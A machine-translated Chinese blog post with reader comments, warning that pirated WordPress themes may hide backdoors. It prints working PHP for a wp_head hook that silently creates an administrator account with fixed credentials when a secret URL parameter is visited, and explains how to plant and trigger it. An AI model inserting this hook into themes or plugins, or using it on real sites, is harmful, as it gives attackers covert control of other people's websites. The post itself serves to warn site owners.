look out! There may be backdoors in pirated themes

In addition to a large number of official themes, WordPress also has a large number of theme designers who publish free and paid themes. Many children's shoes often collect themes everywhere, take them back for testing, and some unscrupulous people modify the collected foreign commercial charging themes in Chinese, add dark chains, advertisements, and even malicious code, and then publish them free or for a fee publicly, Induce others to download and use, to achieve a hidden purpose. In addition, these commercial charging themes are generally beta versions, with incomplete theme codes and missing functions. After the commercial themes of individual beta versions are enabled, a large amount of data will be automatically written to the database

 look out! There may be backdoors in pirated themes

The following code is more evil, and can automatically add a user as administrator.

 add_action('wp_head', 'holeinthewall'); function holeinthewall() { If ($_GET['backdoor'] == 'go') { require('wp-includes/registration.php'); If (! username_exists('username')) { $user_id = wp_create_user('username', 'password'); $user = new WP_User($user_id); $user->set_role('administrator'); } } }

Add the code to the functions.php file or plug-in of your current topic, and then use a special link, such as: [code] example. com/? Backdoor=go [/code], after opening this link, a user name will be automatically created: username password: password Users with administrator rights will automatically log in, and can do whatever they want later.

Therefore, we advise you not to use pirated themes and plug-ins on your own site, and try to download the theme to the official or original publishing site, so as not to be left in the dark!

Through FTP, the code can be used to retrieve the administrator password.

Source code: https://trickspanda.com/create-backdoor-wordpress/

Most of the articles on this site are original and used for personal learning records, which may be helpful to you, for reference only!

 weinxin
My Wechat
WeChat copied
Copyright Notice
Please indicate the source and link of the original article reprinted on this site. Thank you for your cooperation!
five hundred and ninety-eight million eight hundred and forty-five thousand and six
 
 Robin
five hundred and ninety-eight million eight hundred and forty-five thousand and six
Comments six    Visitors five    Author one
    •  A Madman's Diary
      A Madman's Diary two

      Love to use robin theme, too lazy to bother.
      But the ideas in this article will certainly be used by people who want to dissect.

        •  Robin
          Robin

          @ A Madman's Diary Since I know that others will know this code, I still want to publish it so that everyone can take precautions

        •  Slight opening of eye curtain
          Slight opening of eye curtain five

          I have always used the theme of Brother Bird, but I haven't changed anything else^_^

          •  A zero
            A zero two

            I'll use the theme of Brother Bird. I won't change it if I kill him.

            •  Zhengzai
              Zhengzai one

              I use my own theme~~

              •  尛
                zero

                Hello, Uncle Bird! I want to ask, if an administrator user is added in this way, it should be visible from the background user! In this way, the administrator will definitely be aware of it. Ha ha, I haven't tried it, and I don't know whether I can see it in the background. Thank you, Uncle Bird, for your knowledge!

               anonymous

              Comment

              Anonymous netizens
               :?:  :razz:  :sad:  :evil:  :!:  :smile:  :oops:  :grin:  :eek:  :shock:  :???:  :cool:  :lol:  :mad:  :twisted:  :roll:  :wink:  :idea:  :arrow:  :neutral:  :cry:  :mrgreen:

              Drag the slider to complete validation